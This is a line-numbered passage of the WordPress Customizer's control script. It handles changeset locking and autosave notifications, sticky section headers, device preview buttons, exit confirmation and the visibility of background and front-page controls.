8196 api.OverlayNotification.prototype.initialize.call( notification, _code, _params );
8197 },
8198
8199 /**
8200 * Render notification.
8201 *
8202 * @since 4.9.0
8203 *
8204 * @return {jQuery} Notification container.
8205 */
8206 render: function() {
8207 var notification = this, li, data, takeOverButton, request;
8208 data = _.extend(
8209 {
8210 allowOverride: false,
8211 returnUrl: api.settings.url['return'],
8212 previewUrl: api.previewer.previewUrl.get(),
8213 frontendPreviewUrl: api.previewer.getFrontendPreviewUrl()
8214 },
8215 this
8216 );
8217
8218 li = api.OverlayNotification.prototype.render.call( data );
8219
8220 // Try to autosave the changeset now.
8221 api.requestChangesetUpdate( {}, { autosave: true } ).fail( function( response ) {
8222 if ( ! response.autosaved ) {
8223 li.find( '.notice-error' ).prop( 'hidden', false ).text( response.message || api.l10n.unknownRequestFail );
8224 }
8225 } );
8226
8227 takeOverButton = li.find( '.customize-notice-take-over-button' );
8228 takeOverButton.on( 'click', function( event ) {
8229 event.preventDefault();
8230 if ( request ) {
8231 return;
8232 }
8233
8234 takeOverButton.addClass( 'disabled' );
8235 request = wp.ajax.post( 'customize_override_changeset_lock', {
8236 wp_customize: 'on',
8237 customize_theme: api.settings.theme.stylesheet,
8238 customize_changeset_uuid: api.settings.changeset.uuid,
8239 nonce: api.settings.nonce.override_lock
8240 } );
8241
8242 request.done( function() {
8243 api.notifications.remove( notification.code ); // Remove self.
8244 api.state( 'changesetLocked' ).set( false );
8245 } );
8246
8247 request.fail( function( response ) {
8248 var message = response.message || api.l10n.unknownRequestFail;
8249 li.find( '.notice-error' ).prop( 'hidden', false ).text( message );
8250
8251 request.always( function() {
8252 takeOverButton.removeClass( 'disabled' );
8253 } );
8254 } );
8255
8256 request.always( function() {
8257 request = null;
8258 } );
8259 } );
8260
8261 return li;
8262 }
8263 });
8264
8265 /**
8266 * Start lock.
8267 *
8268 * @since 4.9.0
8269 *
8270 * @param {Object} [args] - Args.
8271 * @param {Object} [args.lockUser] - Lock user data.
8272 * @param {boolean} [args.allowOverride=false] - Whether override is allowed.
8273 * @return {void}
8274 */
8275 function startLock( args ) {
8276 if ( args && args.lockUser ) {
8277 api.settings.changeset.lockUser = args.lockUser;
8278 }
8279 api.state( 'changesetLocked' ).set( true );
8280 api.notifications.add( new LockedNotification( 'changeset_locked', {
8281 lockUser: api.settings.changeset.lockUser,
8282 allowOverride: Boolean( args && args.allowOverride )
8283 } ) );
8284 }
8285
8286 // Show initial notification.
8287 if ( api.settings.changeset.lockUser ) {
8288 startLock( { allowOverride: true } );
8289 }
8290
8291 // Check for lock when sending heartbeat requests.
8292 $( document ).on( 'heartbeat-send.update_lock_notice', function( event, data ) {
8293 data.check_changeset_lock = true;
8294 data.changeset_uuid = api.settings.changeset.uuid;
8295 } );
8296
8297 // Handle heartbeat ticks.
8298 $( document ).on( 'heartbeat-tick.update_lock_notice', function( event, data ) {
8299 var notification, code = 'changeset_locked';
8300 if ( ! data.customize_changeset_lock_user ) {
8301 return;
8302 }
8303
8304 // Update notification when a different user takes over.
8305 notification = api.notifications( code );
8306 if ( notification && notification.lockUser.id !== api.settings.changeset.lockUser.id ) {
8307 api.notifications.remove( code );
8308 }
8309
8310 startLock( {
8311 lockUser: data.customize_changeset_lock_user
8312 } );
8313 } );
8314
8315 // Handle locking in response to changeset save errors.
8316 api.bind( 'error', function( response ) {
8317 if ( 'changeset_locked' === response.code && response.lock_user ) {
8318 startLock( {
8319 lockUser: response.lock_user
8320 } );
8321 }
8322 } );
8323 } )();
8324
8325 // Set up initial notifications.
8326 (function() {
8327 var removedQueryParams = [], autosaveDismissed = false;
8328
8329 /**
8330 * Obtain the URL to restore the autosave.
8331 *
8332 * @return {string} Customizer URL.
8333 */
8334 function getAutosaveRestorationUrl() {
8335 var urlParser, queryParams;
8336 urlParser = document.createElement( 'a' );
8337 urlParser.href = location.href;
8338 queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
8339 if ( api.settings.changeset.latestAutoDraftUuid ) {
8340 queryParams.changeset_uuid = api.settings.changeset.latestAutoDraftUuid;
8341 } else {
8342 queryParams.customize_autosaved = 'on';
8343 }
8344 queryParams['return'] = api.settings.url['return'];
8345 urlParser.search = $.param( queryParams );
8346 return urlParser.href;
8347 }
8348
8349 /**
8350 * Remove parameter from the URL.
8351 *
8352 * @param {Array} params - Parameter names to remove.
8353 * @return {void}
8354 */
8355 function stripParamsFromLocation( params ) {
8356 var urlParser = document.createElement( 'a' ), queryParams, strippedParams = 0;
8357 urlParser.href = location.href;
8358 queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
8359 _.each( params, function( param ) {
8360 if ( 'undefined' !== typeof queryParams[ param ] ) {
8361 strippedParams += 1;
8362 delete queryParams[ param ];
8363 }
8364 } );
8365 if ( 0 === strippedParams ) {
8366 return;
8367 }
8368
8369 urlParser.search = $.param( queryParams );
8370 history.replaceState( {}, document.title, urlParser.href );
8371 }
8372
8373 /**
8374 * Displays a Site Editor notification when a block theme is activated.
8375 *
8376 * @since 4.9.0
8377 *
8378 * @param {string} [notification] - A notification to display.
8379 * @return {void}
8380 */
8381 function addSiteEditorNotification( notification ) {
8382 api.notifications.add( new api.Notification( 'site_editor_block_theme_notice', {
8383 message: notification,
8384 type: 'info',
8385 dismissible: false,
8386 render: function() {
8387 var notification = api.Notification.prototype.render.call( this ),
8388 button = notification.find( 'button.switch-to-editor' );
8389
8390 button.on( 'click', function( event ) {
8391 event.preventDefault();
8392 location.assign( button.data( 'action' ) );
8393 } );
8394
8395 return notification;
8396 }
8397 } ) );
8398 }
8399
8400 /**
8401 * Dismiss autosave.
8402 *
8403 * @return {void}
8404 */
8405 function dismissAutosave() {
8406 if ( autosaveDismissed ) {
8407 return;
8408 }
8409 wp.ajax.post( 'customize_dismiss_autosave_or_lock', {
8410 wp_customize: 'on',
8411 customize_theme: api.settings.theme.stylesheet,
8412 customize_changeset_uuid: api.settings.changeset.uuid,
8413 nonce: api.settings.nonce.dismiss_autosave_or_lock,
8414 dismiss_autosave: true
8415 } );
8416 autosaveDismissed = true;
8417 }
8418
8419 /**
8420 * Add notification regarding the availability of an autosave to restore.
8421 *
8422 * @return {void}
8423 */
8424 function addAutosaveRestoreNotification() {
8425 var code = 'autosave_available', onStateChange;
8426
8427 // Since there is an autosave revision and the user hasn't loaded with autosaved, add notification to prompt to load autosaved version.
8428 api.notifications.add( new api.Notification( code, {
8429 message: api.l10n.autosaveNotice,
8430 type: 'warning',
8431 dismissible: true,
8432 render: function() {
8433 var li = api.Notification.prototype.render.call( this ), link;
8434
8435 // Handle clicking on restoration link.
8436 link = li.find( 'a' );
8437 link.prop( 'href', getAutosaveRestorationUrl() );
8438 link.on( 'click', function( event ) {
8439 event.preventDefault();
8440 location.replace( getAutosaveRestorationUrl() );
8441 } );
8442
8443 // Handle dismissal of notice.
8444 li.find( '.notice-dismiss' ).on( 'click', dismissAutosave );
8445
8446 return li;
8447 }
8448 } ) );
8449
8450 // Remove the notification once the user starts making changes.
8451 onStateChange = function() {
8452 dismissAutosave();
8453 api.notifications.remove( code );
8454 api.unbind( 'change', onStateChange );
8455 api.state( 'changesetStatus' ).unbind( onStateChange );
8456 };
8457 api.bind( 'change', onStateChange );
8458 api.state( 'changesetStatus' ).bind( onStateChange );
8459 }
8460
8461 if ( api.settings.changeset.autosaved ) {
8462 api.state( 'saved' ).set( false );
8463 removedQueryParams.push( 'customize_autosaved' );
8464 }
8465 if ( ! api.settings.changeset.branching && ( ! api.settings.changeset.status || 'auto-draft' === api.settings.changeset.status ) ) {
8466 removedQueryParams.push( 'changeset_uuid' ); // Remove UUID when restoring autosave auto-draft.
8467 }
8468 if ( removedQueryParams.length > 0 ) {
8469 stripParamsFromLocation( removedQueryParams );
8470 }
8471 if ( api.settings.changeset.latestAutoDraftUuid || api.settings.changeset.hasAutosaveRevision ) {
8472 addAutosaveRestoreNotification();
8473 }
8474 var shouldDisplayBlockThemeNotification = !! parseInt( $( '#customize-info' ).data( 'block-theme' ), 10 );
8475 if (shouldDisplayBlockThemeNotification) {
8476 addSiteEditorNotification( api.l10n.blockThemeNotification );
8477 }
8478 })();
8479
8480 // Check if preview url is valid and load the preview frame.
8481 if ( api.previewer.previewUrl() ) {
8482 api.previewer.refresh();
8483 } else {
8484 api.previewer.previewUrl( api.settings.url.home );
8485 }
8486
8487 // Button bindings.
8488 saveBtn.on( 'click', function( event ) {
8489 api.previewer.save();
8490 event.preventDefault();
8491 }).on( 'keydown', function( event ) {
8492 if ( 9 === event.which ) { // Tab.
8493 return;
8494 }
8495 if ( 13 === event.which ) { // Enter.
8496 api.previewer.save();
8497 }
8498 event.preventDefault();
8499 });
8500
8501 closeBtn.on( 'keydown', function( event ) {
8502 if ( 9 === event.which ) { // Tab.
8503 return;
8504 }
8505 if ( 13 === event.which ) { // Enter.
8506 this.click();
8507 }
8508 event.preventDefault();
8509 });
8510
8511 $( '.collapse-sidebar' ).on( 'click', function() {
8512 api.state( 'paneVisible' ).set( ! api.state( 'paneVisible' ).get() );
8513 });
8514
8515 api.state( 'paneVisible' ).bind( function( paneVisible ) {
8516 overlay.toggleClass( 'preview-only', ! paneVisible );
8517 overlay.toggleClass( 'expanded', paneVisible );
8518 overlay.toggleClass( 'collapsed', ! paneVisible );
8519
8520 if ( ! paneVisible ) {
8521 $( '.collapse-sidebar' ).attr({ 'aria-expanded': 'false', 'aria-label': api.l10n.expandSidebar });
8522 } else {
8523 $( '.collapse-sidebar' ).attr({ 'aria-expanded': 'true', 'aria-label': api.l10n.collapseSidebar });
8524 }
8525 });
8526
8527 // Keyboard shortcuts - esc to exit section/panel.
8528 body.on( 'keydown', function( event ) {
8529 var collapsedObject, expandedControls = [], expandedSections = [], expandedPanels = [];
8530
8531 if ( 27 !== event.which ) { // Esc.
8532 return;
8533 }
8534
8535 /*
8536 * Abort if the event target is not the body (the default) and not inside of #customize-controls.
8537 * This ensures that ESC meant to collapse a modal dialog or a TinyMCE toolbar won't collapse something else.
8538 */
8539 if ( ! $( event.target ).is( 'body' ) && ! $.contains( $( '#customize-controls' )[0], event.target ) ) {
8540 return;
8541 }
8542
8543 // Abort if we're inside of a block editor instance.
8544 if ( event.target.closest( '.block-editor-writing-flow' ) !== null ||
8545 event.target.closest( '.block-editor-block-list__block-popover' ) !== null
8546 ) {
8547 return;
8548 }
8549
8550 // Check for expanded expandable controls (e.g. widgets and nav menus items), sections, and panels.
8551 api.control.each( function( control ) {
8552 if ( control.expanded && control.expanded() && _.isFunction( control.collapse ) ) {
8553 expandedControls.push( control );
8554 }
8555 });
8556 api.section.each( function( section ) {
8557 if ( section.expanded() ) {
8558 expandedSections.push( section );
8559 }
8560 });
8561 api.panel.each( function( panel ) {
8562 if ( panel.expanded() ) {
8563 expandedPanels.push( panel );
8564 }
8565 });
8566
8567 // Skip collapsing expanded controls if there are no expanded sections.
8568 if ( expandedControls.length > 0 && 0 === expandedSections.length ) {
8569 expandedControls.length = 0;
8570 }
8571
8572 // Collapse the most granular expanded object.
8573 collapsedObject = expandedControls[0] || expandedSections[0] || expandedPanels[0];
8574 if ( collapsedObject ) {
8575 if ( 'themes' === collapsedObject.params.type ) {
8576
8577 // Themes panel or section.
8578 if ( body.hasClass( 'modal-open' ) ) {
8579 collapsedObject.closeDetails();
8580 } else if ( api.panel.has( 'themes' ) ) {
8581
8582 // If we're collapsing a section, collapse the panel also.
8583 api.panel( 'themes' ).collapse();
8584 }
8585 return;
8586 }
8587 collapsedObject.collapse();
8588 event.preventDefault();
8589 }
8590 });
8591
8592 $( '.customize-controls-preview-toggle' ).on( 'click', function() {
8593 api.state( 'paneVisible' ).set( ! api.state( 'paneVisible' ).get() );
8594 });
8595
8596 /*
8597 * Sticky header feature.
8598 */
8599 (function initStickyHeaders() {
8600 var parentContainer = $( '.wp-full-overlay-sidebar-content' ),
8601 changeContainer, updateHeaderHeight, releaseStickyHeader, resetStickyHeader, positionStickyHeader,
8602 activeHeader, lastScrollTop;
8603
8604 /**
8605 * Determine which panel or section is currently expanded.
8606 *
8607 * @since 4.7.0
8608 * @access private
8609 *
8610 * @param {wp.customize.Panel|wp.customize.Section} container Construct.
8611 * @return {void}
8612 */
8613 changeContainer = function( container ) {
8614 var newInstance = container,
8615 expandedSection = api.state( 'expandedSection' ).get(),
8616 expandedPanel = api.state( 'expandedPanel' ).get(),
8617 headerElement;
8618
8619 if ( activeHeader && activeHeader.element ) {
8620 // Release previously active header element.
8621 releaseStickyHeader( activeHeader.element );
8622
8623 // Remove event listener in the previous panel or section.
8624 activeHeader.element.find( '.description' ).off( 'toggled', updateHeaderHeight );
8625 }
8626
8627 if ( ! newInstance ) {
8628 if ( ! expandedSection && expandedPanel && expandedPanel.contentContainer ) {
8629 newInstance = expandedPanel;
8630 } else if ( ! expandedPanel && expandedSection && expandedSection.contentContainer ) {
8631 newInstance = expandedSection;
8632 } else {
8633 activeHeader = false;
8634 return;
8635 }
8636 }
8637
8638 headerElement = newInstance.contentContainer.find( '.customize-section-title, .panel-meta' ).first();
8639 if ( headerElement.length ) {
8640 activeHeader = {
8641 instance: newInstance,
8642 element: headerElement,
8643 parent: headerElement.closest( '.customize-pane-child' ),
8644 height: headerElement.outerHeight()
8645 };
8646
8647 // Update header height whenever help text is expanded or collapsed.
8648 activeHeader.element.find( '.description' ).on( 'toggled', updateHeaderHeight );
8649
8650 if ( expandedSection ) {
8651 resetStickyHeader( activeHeader.element, activeHeader.parent );
8652 }
8653 } else {
8654 activeHeader = false;
8655 }
8656 };
8657 api.state( 'expandedSection' ).bind( changeContainer );
8658 api.state( 'expandedPanel' ).bind( changeContainer );
8659
8660 // Throttled scroll event handler.
8661 parentContainer.on( 'scroll', _.throttle( function() {
8662 if ( ! activeHeader ) {
8663 return;
8664 }
8665
8666 var scrollTop = parentContainer.scrollTop(),
8667 scrollDirection;
8668
8669 if ( ! lastScrollTop ) {
8670 scrollDirection = 1;
8671 } else {
8672 if ( scrollTop === lastScrollTop ) {
8673 scrollDirection = 0;
8674 } else if ( scrollTop > lastScrollTop ) {
8675 scrollDirection = 1;
8676 } else {
8677 scrollDirection = -1;
8678 }
8679 }
8680 lastScrollTop = scrollTop;
8681 if ( 0 !== scrollDirection ) {
8682 positionStickyHeader( activeHeader, scrollTop, scrollDirection );
8683 }
8684 }, 8 ) );
8685
8686 // Update header position on sidebar layout change.
8687 api.notifications.bind( 'sidebarTopUpdated', function() {
8688 if ( activeHeader && activeHeader.element.hasClass( 'is-sticky' ) ) {
8689 activeHeader.element.css( 'top', parentContainer.css( 'top' ) );
8690 }
8691 });
8692
8693 // Release header element if it is sticky.
8694 releaseStickyHeader = function( headerElement ) {
8695 if ( ! headerElement.hasClass( 'is-sticky' ) ) {
8696 return;
8697 }
8698 headerElement
8699 .removeClass( 'is-sticky' )
8700 .addClass( 'maybe-sticky is-in-view' )
8701 .css( 'top', parentContainer.scrollTop() + 'px' );
8702 };
8703
8704 // Reset position of the sticky header.
8705 resetStickyHeader = function( headerElement, headerParent ) {
8706 if ( headerElement.hasClass( 'is-in-view' ) ) {
8707 headerElement
8708 .removeClass( 'maybe-sticky is-in-view' )
8709 .css( {
8710 width: '',
8711 top: ''
8712 } );
8713 headerParent.css( 'padding-top', '' );
8714 }
8715 };
8716
8717 /**
8718 * Update active header height.
8719 *
8720 * @since 4.7.0
8721 * @access private
8722 *
8723 * @return {void}
8724 */
8725 updateHeaderHeight = function() {
8726 activeHeader.height = activeHeader.element.outerHeight();
8727 };
8728
8729 /**
8730 * Reposition header on throttled `scroll` event.
8731 *
8732 * @since 4.7.0
8733 * @access private
8734 *
8735 * @param {Object} header - Header.
8736 * @param {number} scrollTop - Scroll top.
8737 * @param {number} scrollDirection - Scroll direction, negative number being up and positive being down.
8738 * @return {void}
8739 */
8740 positionStickyHeader = function( header, scrollTop, scrollDirection ) {
8741 var headerElement = header.element,
8742 headerParent = header.parent,
8743 headerHeight = header.height,
8744 headerTop = parseInt( headerElement.css( 'top' ), 10 ),
8745 maybeSticky = headerElement.hasClass( 'maybe-sticky' ),
8746 isSticky = headerElement.hasClass( 'is-sticky' ),
8747 isInView = headerElement.hasClass( 'is-in-view' ),
8748 isScrollingUp = ( -1 === scrollDirection );
8749
8750 // When scrolling down, gradually hide sticky header.
8751 if ( ! isScrollingUp ) {
8752 if ( isSticky ) {
8753 headerTop = scrollTop;
8754 headerElement
8755 .removeClass( 'is-sticky' )
8756 .css( {
8757 top: headerTop + 'px',
8758 width: ''
8759 } );
8760 }
8761 if ( isInView && scrollTop > headerTop + headerHeight ) {
8762 headerElement.removeClass( 'is-in-view' );
8763 headerParent.css( 'padding-top', '' );
8764 }
8765 return;
8766 }
8767
8768 // Scrolling up.
8769 if ( ! maybeSticky && scrollTop >= headerHeight ) {
8770 maybeSticky = true;
8771 headerElement.addClass( 'maybe-sticky' );
8772 } else if ( 0 === scrollTop ) {
8773 // Reset header in base position.
8774 headerElement
8775 .removeClass( 'maybe-sticky is-in-view is-sticky' )
8776 .css( {
8777 top: '',
8778 width: ''
8779 } );
8780 headerParent.css( 'padding-top', '' );
8781 return;
8782 }
8783
8784 if ( isInView && ! isSticky ) {
8785 // Header is in the view but is not yet sticky.
8786 if ( headerTop >= scrollTop ) {
8787 // Header is fully visible.
8788 headerElement
8789 .addClass( 'is-sticky' )
8790 .css( {
8791 top: parentContainer.css( 'top' ),
8792 width: headerParent.outerWidth() + 'px'
8793 } );
8794 }
8795 } else if ( maybeSticky && ! isInView ) {
8796 // Header is out of the view.
8797 headerElement
8798 .addClass( 'is-in-view' )
8799 .css( 'top', ( scrollTop - headerHeight ) + 'px' );
8800 headerParent.css( 'padding-top', headerHeight + 'px' );
8801 }
8802 };
8803 }());
8804
8805 // Previewed device bindings. (The api.previewedDevice property
8806 // is how this Value was first introduced, but since it has moved to api.state.)
8807 api.previewedDevice = api.state( 'previewedDevice' );
8808
8809 // Set the default device.
8810 api.bind( 'ready', function() {
8811 _.find( api.settings.previewableDevices, function( value, key ) {
8812 if ( true === value['default'] ) {
8813 api.previewedDevice.set( key );
8814 return true;
8815 }
8816 } );
8817 } );
8818
8819 // Set the toggled device.
8820 footerActions.find( '.devices button' ).on( 'click', function( event ) {
8821 api.previewedDevice.set( $( event.currentTarget ).data( 'device' ) );
8822 });
8823
8824 // Bind device changes.
8825 api.previewedDevice.bind( function( newDevice ) {
8826 var overlay = $( '.wp-full-overlay' ),
8827 devices = '';
8828
8829 footerActions.find( '.devices button' )
8830 .removeClass( 'active' )
8831 .attr( 'aria-pressed', false );
8832
8833 footerActions.find( '.devices .preview-' + newDevice )
8834 .addClass( 'active' )
8835 .attr( 'aria-pressed', true );
8836
8837 $.each( api.settings.previewableDevices, function( device ) {
8838 devices += ' preview-' + device;
8839 } );
8840
8841 overlay
8842 .removeClass( devices )
8843 .addClass( 'preview-' + newDevice );
8844 } );
8845
8846 // Bind site title display to the corresponding field.
8847 if ( title.length ) {
8848 api( 'blogname', function( setting ) {
8849 var updateTitle = function() {
8850 var blogTitle = setting() || '';
8851 title.text( blogTitle.toString().trim() || api.l10n.untitledBlogName );
8852 };
8853 setting.bind( updateTitle );
8854 updateTitle();
8855 } );
8856 }
8857
8858 /*
8859 * Create a postMessage connection with a parent frame,
8860 * in case the Customizer frame was opened with the Customize loader.
8861 *
8862 * @see wp.customize.Loader
8863 */
8864 parent = new api.Messenger({
8865 url: api.settings.url.parent,
8866 channel: 'loader'
8867 });
8868
8869 // Handle exiting of Customizer.
8870 (function() {
8871 var isInsideIframe = false;
8872
8873 function isCleanState() {
8874 var defaultChangesetStatus;
8875
8876 /*
8877 * Handle special case of previewing theme switch since some settings (for nav menus and widgets)
8878 * are pre-dirty and non-active themes can only ever be auto-drafts.
8879 */
8880 if ( ! api.state( 'activated' ).get() ) {
8881 return 0 === api._latestRevision;
8882 }
8883
8884 // Dirty if the changeset status has been changed but not saved yet.
8885 defaultChangesetStatus = api.state( 'changesetStatus' ).get();
8886 if ( '' === defaultChangesetStatus || 'auto-draft' === defaultChangesetStatus ) {
8887 defaultChangesetStatus = 'publish';
8888 }
8889 if ( api.state( 'selectedChangesetStatus' ).get() !== defaultChangesetStatus ) {
8890 return false;
8891 }
8892
8893 // Dirty if scheduled but the changeset date hasn't been saved yet.
8894 if ( 'future' === api.state( 'selectedChangesetStatus' ).get() && api.state( 'selectedChangesetDate' ).get() !== api.state( 'changesetDate' ).get() ) {
8895 return false;
8896 }
8897
8898 return api.state( 'saved' ).get() && 'auto-draft' !== api.state( 'changesetStatus' ).get();
8899 }
8900
8901 /*
8902 * If we receive a 'back' event, we're inside an iframe.
8903 * Send any clicks to the 'Return' link to the parent page.
8904 */
8905 parent.bind( 'back', function() {
8906 isInsideIframe = true;
8907 });
8908
8909 function startPromptingBeforeUnload() {
8910 api.unbind( 'change', startPromptingBeforeUnload );
8911 api.state( 'selectedChangesetStatus' ).unbind( startPromptingBeforeUnload );
8912 api.state( 'selectedChangesetDate' ).unbind( startPromptingBeforeUnload );
8913
8914 // Prompt user with AYS dialog if leaving the Customizer with unsaved changes.
8915 $( window ).on( 'beforeunload.customize-confirm', function() {
8916 if ( ! isCleanState() && ! api.state( 'changesetLocked' ).get() ) {
8917 setTimeout( function() {
8918 overlay.removeClass( 'customize-loading' );
8919 }, 1 );
8920 return api.l10n.saveAlert;
8921 }
8922 });
8923 }
8924 api.bind( 'change', startPromptingBeforeUnload );
8925 api.state( 'selectedChangesetStatus' ).bind( startPromptingBeforeUnload );
8926 api.state( 'selectedChangesetDate' ).bind( startPromptingBeforeUnload );
8927
8928 function requestClose() {
8929 var clearedToClose = $.Deferred(), dismissAutoSave = false, dismissLock = false;
8930
8931 if ( isCleanState() ) {
8932 dismissLock = true;
8933 } else if ( confirm( api.l10n.saveAlert ) ) {
8934
8935 dismissLock = true;
8936
8937 // Mark all settings as clean to prevent another call to requestChangesetUpdate.
8938 api.each( function( setting ) {
8939 setting._dirty = false;
8940 });
8941 $( document ).off( 'visibilitychange.wp-customize-changeset-update' );
8942 $( window ).off( 'beforeunload.wp-customize-changeset-update' );
8943
8944 closeBtn.css( 'cursor', 'progress' );
8945 if ( '' !== api.state( 'changesetStatus' ).get() ) {
8946 dismissAutoSave = true;
8947 }
8948 } else {
8949 clearedToClose.reject();
8950 }
8951
8952 if ( dismissLock || dismissAutoSave ) {
8953 wp.ajax.send( 'customize_dismiss_autosave_or_lock', {
8954 timeout: 500, // Don't wait too long.
8955 data: {
8956 wp_customize: 'on',
8957 customize_theme: api.settings.theme.stylesheet,
8958 customize_changeset_uuid: api.settings.changeset.uuid,
8959 nonce: api.settings.nonce.dismiss_autosave_or_lock,
8960 dismiss_autosave: dismissAutoSave,
8961 dismiss_lock: dismissLock
8962 }
8963 } ).always( function() {
8964 clearedToClose.resolve();
8965 } );
8966 }
8967
8968 return clearedToClose.promise();
8969 }
8970
8971 parent.bind( 'confirm-close', function() {
8972 requestClose().done( function() {
8973 parent.send( 'confirmed-close', true );
8974 } ).fail( function() {
8975 parent.send( 'confirmed-close', false );
8976 } );
8977 } );
8978
8979 closeBtn.on( 'click.customize-controls-close', function( event ) {
8980 event.preventDefault();
8981 if ( isInsideIframe ) {
8982 parent.send( 'close' ); // See confirm-close logic above.
8983 } else {
8984 requestClose().done( function() {
8985 $( window ).off( 'beforeunload.customize-confirm' );
8986 window.location.href = closeBtn.prop( 'href' );
8987 } );
8988 }
8989 });
8990 })();
8991
8992 // Pass events through to the parent.
8993 $.each( [ 'saved', 'change' ], function ( i, event ) {
8994 api.bind( event, function() {
8995 parent.send( event );
8996 });
8997 } );
8998
8999 // Pass titles to the parent.
9000 api.bind( 'title', function( newTitle ) {
9001 parent.send( 'title', newTitle );
9002 });
9003
9004 if ( api.settings.changeset.branching ) {
9005 parent.send( 'changeset-uuid', api.settings.changeset.uuid );
9006 }
9007
9008 // Initialize the connection with the parent frame.
9009 parent.send( 'ready' );
9010
9011 // Control visibility for default controls.
9012 $.each({
9013 'background_image': {
9014 controls: [ 'background_preset', 'background_position', 'background_size', 'background_repeat', 'background_attachment' ],
9015 callback: function( to ) { return !! to; }
9016 },
9017 'show_on_front': {
9018 controls: [ 'page_on_front', 'page_for_posts' ],
9019 callback: function( to ) { return 'page' === to; }
9020 },
9021 'header_textcolor': {
9022 controls: [ 'header_textcolor' ],
9023 callback: function( to ) { return 'blank' !== to; }
9024 }
9025 }, function( settingId, o ) {
9026 api( settingId, function( setting ) {
9027 $.each( o.controls, function( i, controlId ) {
9028 api.control( controlId, function( control ) {
9029 var visibility = function( to ) {
9030 control.container.toggle( o.callback( to ) );
9031 };
9032
9033 visibility( setting.get() );
9034 setting.bind( visibility );
9035 });
9036 });
9037 });
9038 });
9039
9040 api.control( 'background_preset', function( control ) {
9041 var visibility, defaultValues, values, toggleVisibility, updateSettings, preset;
9042
9043 visibility = { // position, size, repeat, attachment.
9044 'default': [ false, false, false, false ],
9045 'fill': [ true, false, false, false ],
9046 'fit': [ true, false, true, false ],
9047 'repeat': [ true, false, false, true ],
9048 'custom': [ true, true, true, true ]
9049 };
9050
9051 defaultValues = [
9052 _wpCustomizeBackground.defaults['default-position-x'],
9053 _wpCustomizeBackground.defaults['default-position-y'],
9054 _wpCustomizeBackground.defaults['default-size'],
9055 _wpCustomizeBackground.defaults['default-repeat'],
9056 _wpCustomizeBackground.defaults['default-attachment']
9057 ];
9058
9059 values = { // position_x, position_y, size, repeat, attachment.
9060 'default': defaultValues,
9061 'fill': [ 'left', 'top', 'cover', 'no-repeat', 'fixed' ],
9062 'fit': [ 'left', 'top', 'contain', 'no-repeat', 'fixed' ],
9063 'repeat': [ 'left', 'top', 'auto', 'repeat', 'scroll' ]
9064 };
9065
9066 // @todo These should actually toggle the active state,
9067 // but without the preview overriding the state in data.activeControls.
9068 toggleVisibility = function( preset ) {
9069 _.each( [ 'background_position', 'background_size', 'background_repeat', 'background_attachment' ], function( controlId, i ) {
9070 var control = api.control( controlId );
9071 if ( control ) {
9072 control.container.toggle( visibility[ preset ][ i ] );
9073 }
9074 } );
9075 };
9076
9077 updateSettings = function( preset ) {
9078 _.each( [ 'background_position_x', 'background_position_y', 'background_size', 'background_repeat', 'background_attachment' ], function( settingId, i ) {
9079 var setting = api( settingId );
9080 if ( setting ) {
9081 setting.set( values[ preset ][ i ] );
9082 }
9083 } );
9084 };
9085
9086 preset = control.setting.get();
9087 toggleVisibility( preset );
9088
9089 control.setting.bind( 'change', function( preset ) {
9090 toggleVisibility( preset );
9091 if ( 'custom' !== preset ) {
9092 updateSettings( preset );
9093 }
9094 } );
9095 } );
9096
9097 api.control( 'background_repeat', function( control ) {
9098 control.elements[0].unsync( api( 'background_repeat' ) );
9099
9100 control.element = new api.Element( control.container.find( 'input' ) );
9101 control.element.set( 'no-repeat' !== control.setting() );
9102
9103 control.element.bind( function( to ) {
9104 control.setting.set( to ? 'repeat' : 'no-repeat' );
9105 } );
9106
9107 control.setting.bind( function( to ) {
9108 control.element.set( 'no-repeat' !== to );
9109 } );
9110 } );
9111
9112 api.control( 'background_attachment', function( control ) {
9113 control.elements[0].unsync( api( 'background_attachment' ) );
9114
9115 control.element = new api.Element( control.container.find( 'input' ) );
9116 control.element.set( 'fixed' !== control.setting() );
9117
9118 control.element.bind( function( to ) {
9119 control.setting.set( to ? 'scroll' : 'fixed' );
9120 } );
9121
9122 control.setting.bind( function( to ) {
9123 control.element.set( 'fixed' !== to );
9124 } );
9125 } );
9126
9127 // Juggle the two controls that use header_textcolor.
9128 api.control( 'display_header_text', function( control ) {
9129 var last = '';
9130
9131 control.elements[0].unsync( api( 'header_textcolor' ) );
9132
9133 control.element = new api.Element( control.container.find('input') );
9134 control.element.set( 'blank' !== control.setting() );
9135
9136 control.element.bind( function( to ) {
9137 if ( ! to ) {
9138 last = api( 'header_textcolor' ).get();
9139 }
9140
9141 control.setting.set( to ? last : 'blank' );
9142 });
9143
9144 control.setting.bind( function( to ) {
9145 control.element.set( 'blank' !== to );
9146 });
9147 });
9148
9149 // Add behaviors to the static front page controls.
9150 api( 'show_on_front', 'page_on_front', 'page_for_posts', function( showOnFront, pageOnFront, pageForPosts ) {
9151 var handleChange = function() {
9152 var setting = this, pageOnFrontId, pageForPostsId, errorCode = 'show_on_front_page_collision';
9153 pageOnFrontId = parseInt( pageOnFront(), 10 );
9154 pageForPostsId = parseInt( pageForPosts(), 10 );
9155
9156 if ( 'page' === showOnFront() ) {
9157
9158 // Change previewed URL to the homepage when changing the page_on_front.
9159 if ( setting === pageOnFront && pageOnFrontId > 0 ) {
9160 api.previewer.previewUrl.set( api.settings.url.home );
9161 }
9162
9163 // Change the previewed URL to the selected page when changing the page_for_posts.
9164 if ( setting === pageForPosts && pageForPostsId > 0 ) {
9165 api.previewer.previewUrl.set( api.settings.url.home + '?page_id=' + pageForPostsId );
9166 }
9167 }
9168
9169 // Toggle notification when the homepage and posts page are both set and the same.
9170 if ( 'page' === showOnFront() && pageOnFrontId && pageForPostsId && pageOnFrontId === pageForPostsId ) {
9171 showOnFront.notifications.add( new api.Notification( errorCode, {
9172 type: 'error',
9173 message: api.l10n.pageOnFrontError
9174 } ) );
9175 } else {
9176 showOnFront.notifications.remove( errorCode );
9177 }
9178 };
9179 showOnFront.bind( handleChange );
9180 pageOnFront.bind( handleChange );
9181 pageForPosts.bind( handleChange );
9182 handleChange.call( showOnFront, showOnFront() ); // Make sure initial notification is added after loading existing changeset.
9183
9184 // Move notifications container to the bottom.
9185 api.control( 'show_on_front', function( showOnFrontControl ) {
9186 showOnFrontControl.deferred.embedded.done( function() {
9187 showOnFrontControl.container.append( showOnFrontControl.getNotificationsContainerElement() );
9188 });
9189 });
9190 });
9191
9192 // Add code editor for Custom CSS.
9193 (function() {
